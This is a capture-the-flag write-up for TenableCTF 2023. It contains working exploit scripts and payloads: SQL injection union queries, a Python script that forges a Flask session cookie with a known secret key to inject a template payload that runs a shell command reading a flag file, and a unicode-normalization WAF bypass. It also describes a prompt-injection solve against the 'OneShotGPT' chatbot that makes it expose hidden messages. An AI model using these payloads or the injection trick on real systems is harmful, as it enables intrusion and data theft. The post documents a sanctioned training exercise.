TenableCTF 2023 - webx3, miscx1, publicx2

5 minute read

Web

Cat Viewer

Description

Link: https://nessus-catviewer.chals.io

Solution

In the home page view, you can see a cat image displayed.

The image is displayed by passing the name of the image to the cat parameter. /index.php?cat=

The source code is nothing special, but the image quality is very good =)))

i tried payload sql injection and got good results. payload: /index.php?cat=Shelton" or 1=1;--

=> Yes, there is a SQL injection vulnerability here

however there is a secret problem, the images are really long. Plus having a lot of images to display resulted in my browser lagging for quite a while.

  • Check the number of columns returned.

=> This shows that there are 4 columns returned I will modify the payload to see the structure of the tables.

that’s right, we can insert the payload at column number 3.

payload: Shelton" union select 1,2,3,4;--

  • dump database struct
    https://nessus-catviewer.chals.io/index.php?cat=Shelton" union select 1,2,(SELECT sql FROM sqlite_schema),4;--
    

In the database there is a table named cats with 4 columns including id,image,name,flag.

The image data is quite large, so it is difficult to dump the whole thing and check the flag. So we can brute force by id to get flags content. Ex: /index.php?cat=Shelton" union select 1,2,(select flag from cats where id = 1),4;--

OK flag here

Flag: flag{a_sea_of_cats}

Script

import requests
from bs4 import BeautifulSoup
from tqdm import tqdm
import re

url = "https://nessus-catviewer.chals.io/index.php?cat=Shelton"

payload = '" union select 1,2,(select flag from cats where id = ##),4;--'

def getFlag(res):
    soup = BeautifulSoup(res, "html.parser")
    for br in soup.find_all("br"):
        br.replace_with("\n")
    name_element = soup.find(string=re.compile(r'Name:'))
    name_value = name_element.split('Name: ')[1].strip()
    return name_value

with requests.Session() as session:
    for i in tqdm(range(1,1000)):
        payload_tmp = payload.replace('##', str(i))
        res = session.get(url + payload_tmp)
        if res.status_code == 200:
            if 'flag{' in res.text:
                print("\nDone!")
                print("Flag is: ", getFlag(res.text))
                break

Result:

┌──(taiwhis㉿kali)-[~/tenable]
└─$ python 1.py                                                
 19%|██████████████████████████████████████▎ | 194/999 [02:10<05:36,  2.39it/s]
Done!
Flag is:  flag{a_sea_of_cats}

Rose

Description

Link: https://nessus-rose.chals.io Source code: here

Solution

After reading the source code I found the SSTI vulnerability in session[name].

./main.py

In the file __init__.py can be found SECRET_KEY.

This data is used to generate the key for the session.

We can’t login so where can we get the session????????

Tôi đã chú ý tới điều này

Idea:

  • Rebuild the web application locally and register an account then analyze its session.
  • Insert SSTI payload into session

Rebuild the web chall

In Flask Blueprint to be able to run the web application we need the syntax:

app = Flask(__name__)

app.register_blueprint(main)

if __name__ == "__main__":
    app.run(debug=True)

Edit file main.py:

Run app:

┌──(venv)(taiwhis㉿kali)-[~/tenable/rose]
└─$ export FLASK_APP=__init__.py

┌──(venv)(taiwhis㉿kali)-[~/tenable/rose]
└─$ flask run                   
 * Serving Flask app '__init__.py'
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on http://127.0.0.1:5000
Press CTRL+C to quit

Create account

ok. Now we can create our own account.

Make an account and login.

Exploit

Get the current session:

.eJwljjEOwzAIAP_iuYMNBEw-E2EDaod2SJqp6t8bqdudbrlP2XKP417W937GrWwPL2sRxECsJjE1nMMICFFr0xRkkqQEwKZuqldN6dwbCEwDtmEerp2KWIdxqUZYPW wD50Kpdr5Dxi_9-0S1_2jAttTK3l-wM5ZjIX.ZNS29Q.PhEpEJOmRM11IfBtpCVu_qt1kQw

I will use the tool: flask-session-cookie-manager to edit the session.

We already know the secret is: SuperDuperSecureSecretKey1234!

Result:

┌──(venv)(taiwhis㉿kali)-[~/ASC/flask-session-cookie-manager]
└─$ python3 flask_session_cookie_manager3.py decode -c '.eJwljjEOwzAIAP_iuYMNBEw-E2EDaod2SJqp6t8bqdudbrlP2XKP417W937GrWwPL2sRxECsJjE1nMMICFFr0xRkkqQEwKZuqldN6dwbCEwDtmEewlNMDdXUpQorOWdPrqCzEnWI1mUsrp0Yuy2MKW2pwD50Kpdr5Dxi_9-0S1_2jAttTK3l-wM5ZjIX.ZNS29Q.PhEpEJOmRM11IfBtpCVu_qt1kQw' -s 'SuperDuperSecureSecretKey1234!' 

{'_fresh': True, '_id': '733e330a7ec9ed6ea424339019f73647f4f22319da996eaf78681272ca26abade76c7a9a39a9d707694d6f8f6029c04482e187b5d984638a563f715026db9c96', '_user_id': '1', 'name': 'abc90'}

Now i will edit the name part to be the payload of read flag.

  • Test with SSTI payload: %7B%7Bconfig%7D%7D
┌──(venv)(taiwhis㉿kali)-[~/ASC/flask-session-cookie-manager]
└─$ python3 flask_session_cookie_manager3.py encode -s 'SuperDuperSecureSecretKey1234!' -t "{'_fresh': True, '_id': '733e330a7ec9ed6ea424339019f73647f4f22319da996eaf78681272ca26abade76c7a9a39a9d707694d6f8f6029c04482e187b5d984638a563f715026db9c96', '_user_id': '1', 'name':'%7B%7Bconfig%7D%7D'}" 
.eJwljjEOgzAMAP-SuUNiBzvmM8jEdstQKkGZEH8vUrc73XJnmmLz_ZXG73b4I02LpTExoiNmZe_iRq4VKqLkIsFIlaMGABYxFblrcKNWgKErkM5qztRZRVFUjDOTVKNoQRmk51obeGk8DyatEjYdCIPLkIFsli6U7pFj9-1_U25d9e03nmf_rLE8rytdP0GcNO4.ZNS8LQ.uFbR2wglKGFPbrNVRUPZAbU1Z3w

Result:

  • Create a new session containing the payload exploit read file:
\{\{config.__class__.__init__.__globals__['os'].popen('cat /home/ctf/flag.txt').read()\}\}

Render session:

┌──(venv)(taiwhis㉿kali)-[~/ASC/flask-session-cookie-manager]
└─$ python3 flask_session_cookie_manager3.py encode -s 'SuperDuperSecureSecretKey1234!' -t "{'_fresh': True, '_id': '733e330a7ec9ed6ea424339019f73647f4f22319da996eaf78681272ca26abade76c7a9a39a9d707694d6f8f6029c04482e187b5d984638a563f715026db9c96', '_user_id': '1', 'name':\"\{\{config.__class__.__init__.__globals__['os'].popen('cat /home/ctf/flag.txt').read()\}\}"}"                                
.eJwljttqwzAQBX-l6MUJFNu6ZFebXylFrKWVY3DsYCtQMP73ivZtzpmXOVTIm-wPdS_bWz5VmJK6K7RWrO0ZJZIkEHbGWUu9powWHGaXjbGaEhNVm9GD1wZNZAM8cBKEiExsiSlhj0AuQfYZekOxd84b0R6HWyLvwHq-gc2ob72BNFAkUDXkvcv2X6PrXPgpFY8jrkuexjaEOPO-h1BpWqbyB-O8DjzX86tZ9-a7fa0vWS5N5PLRPdandLHkLs88tuWnNNd2E06X63mq8xcJBU9_.ZNS_Ew.YqWWNLY3IxmY9cyrKanOYJy39pw

Session:

.eJwljttqwzAQBX-l6MUJFNu6ZFebXylFrKWVY3DsYCtQMP73ivZtzpmXOVTIm-wPdS_bWz5VmJK6K7RWrO0ZJZIkEHbGWUu9powWHGaXjbGaEhNVm9GD1wZNZAM8cBKEiExsiSlhj0AuQfYZekOxd84b0R6HWyLvwHq-gc2ob72BNFAkUDXkvcv2X6PrXPgpFY8jrkuexjaEOPO-h1BpWqbyB-O8DjzX86tZ9-a7fa0vWS5N5PLRPdandLHkLs88tuWnNNd2E06X63mq8xcJBU9_.ZNS_Ew.YqWWNLY3IxmY9cyrKanOYJy39pw

And i got flag.

Flag: flag{wh4ts_1n_a_n4m3_4nd_wh4ts_in_y0ur_fl4sk}

Script

from flask.sessions import SecureCookieSessionInterface
from itsdangerous import URLSafeTimedSerializer
import requests
from bs4 import BeautifulSoup


class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):
	def get_signing_serializer(self, secret_key):
		if not secret_key:
			return None
		signer_kwargs = dict(
			key_derivation=self.key_derivation,
			digest_method=self.digest_method
		)
		return URLSafeTimedSerializer(secret_key, salt=self.salt,
		                              serializer=self.serializer,
		                              signer_kwargs=signer_kwargs)

def decodeFlaskCookie(secret_key, cookieValue):
	sscsi = SimpleSecureCookieSessionInterface()
	signingSerializer = sscsi.get_signing_serializer(secret_key)
	return signingSerializer.loads(cookieValue)

def encodeFlaskCookie(secret_key, cookieDict):
	sscsi = SimpleSecureCookieSessionInterface()
	signingSerializer = sscsi.get_signing_serializer(secret_key)
	return signingSerializer.dumps(cookieDict)

## Refer: https://gist.github.com/aescalana/7e0bc39b95baa334074707f73bc64bfe

url = "https://nessus-rose.chals.io"

payload = "\{\{config.__class__.__init__.__globals__['os'].popen('cat /home/ctf/flag.txt').read()\}\}"


if __name__=='__main__':
    secret_key = 'SuperDuperSecureSecretKey1234!'
    sessionDict = {u'_fresh': True, '_id': '733e330a7ec9ed6ea424339019f73647f4f22319da996eaf78681272ca26abade76c7a9a39a9d707694d6f8f6029c04482e187b5d984638a563f715026db9c96', '_user_id': '1', 'name': 'abc90'}
    sessionDict['name'] = payload
    session = encodeFlaskCookie(secret_key, sessionDict)
    
    res = requests.get(url + '/dashboard', headers={ 'Cookie':f'session={session}' })
    
    soup = BeautifulSoup(res.text, "html.parser")
    flag = soup.find("h1", class_="title").get_text()
    
    print("Session: ", session)
    print("Flag: ", flag)

Result:

┌──(venv)(taiwhis㉿kali)-[~/tenable/rose]
└─$ python 1.py                
Session:  .eJwljttqwzAQBX-l6MUJFNu6ZFebXylFrKWVY3DsYCtQMP73ivZtzpmXOVTIm-wPdS_bWz5VmJK6K7RWrO0ZJZIkEHbGWUu9powWHGaXjbGaEhNVm9GD1wZNZAM8cBKEiExsiSlhj0AuQfYZekOxd84b0R6HWyLvwHq-gc2ob72BNFAkUDXkvcv2X6PrXPgpFY8jrkuexjaEOPO-h1BpWqbyB-O8DjzX86tZ9-a7fa0vWS5N5PLRPdandLHkLs88tuWnNNd2E06X63mq8xcJBU9_.ZNTDjA.oRLmZgGI0AlMEdo_BiAfNOlvWNo
Flag:  
    Welcome, flag{wh4ts_1n_a_n4m3_4nd_wh4ts_in_y0ur_fl4sk}
!

Bad Waf No Donut

Description

Link: https://nessus-badwaf.chals.io

Solution

This is a weird web app.

Tôi thấy có 3 chức năng:

Explore:

Render site:

Check connection:

The Check connection section looks very suspicious. However, I checked a lot of vulnerabilities but didn’t find any.

After fuzz again challenge. I found a rather mysterious path.

Link: https://nessus-badwaf.chals.io/secrets

There was a comment saying something should be posted in secret_name.

lmao. Guessing challenge. =))))

hmmm =)))

It took me a long time to figure this out.

And after a few hours of trying one of my friends suggested that this is unicode-normalization. lmao!!!!

You can refer to it here.

A list of Unicode equivalent characters can be found here: https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html

I try encode character by character and it gives me flag.

For example, the character g will encode to %e1%b5%8d.

It’s really useful. =)))

Flag: flag{h0w_d0es_this_even_w0rk}

Misc :sandwich:

OneShotGPT

Description

Link: https://tenbctf.azurewebsites.net/api/chat

Solution

This is a pretty cool promt injection challenge.

During fuzzing I discovered that if you pass the input as |id you can make all bot messages appear.

https://tenbctf.azurewebsites.net/api/chat?message=|id

Perhaps the bot understood what I meant by wanting to see the information contained in the id column. :smile:

From the image above there is a message column right next to the id column.

Try again with payload: https://tenbctf.azurewebsites.net/api/chat?message=|id|message|

=> bot doesn’t check input, so we can ask it to show some hidden information.

Is there a column named flag????

Try: https://tenbctf.azurewebsites.net/api/chat?message=|id|flag|

Yea. Flags here.

Flag: flag{not_s0_intellig3nt}

Tenable Publications :pizza:

Start Your Engines

Description

Solution

lmao =))) This is super guessing challenge. I solved it with my teammates nicknamed Kosma.

We were at an impasse. Then a brother of ours named bquanman gave me some suggestions.He suggested revisiting last year’s challenges for this type of topic.

After watching the previous year’s challenges, I found that. Flag is hidden somewhere on the tenable website

I pay special attention to the blog folder on the home page because most of the old flags are located here.

yeah i found a lot of flags in the posts. however these are old flags from previous years.

I found half of the flags that did not belong to the flags of previous years in this blog: www.tenable.com/blog/openai-chatgpt-and-gpt-4-used-as-lure-in-phishing-scams-to-promote-fake-token-airdrop

and the other half is in this article. www.tenable.com/blog/cve-2022-20699-cve-2022-20700-cve-2022-20708-critical-flaws-in-cisco-small-business-rv-series:

Flag: flag{b10gs__iT_TAk3s}

3 Strikes and you’re out!

Description

Solution

You can see that there are 2 strings of words TRA and E in picture.

lmao we checked all the blogs written about TRA but nothing.

here: https://www.tenable.com/security/research

I gave up looking with flag{ key. Instead I search with the keyword ZmxhZ. This is the beginning of the flag when base64 encoding.

yea. Flag in this blog. https://www.tenable.com/blog/oracle-april-2023-critical-patch-update-addresses-231-cves

Flag: flag{d3Cod3_d@_iNT3Rn3Tz}

lmao

Comments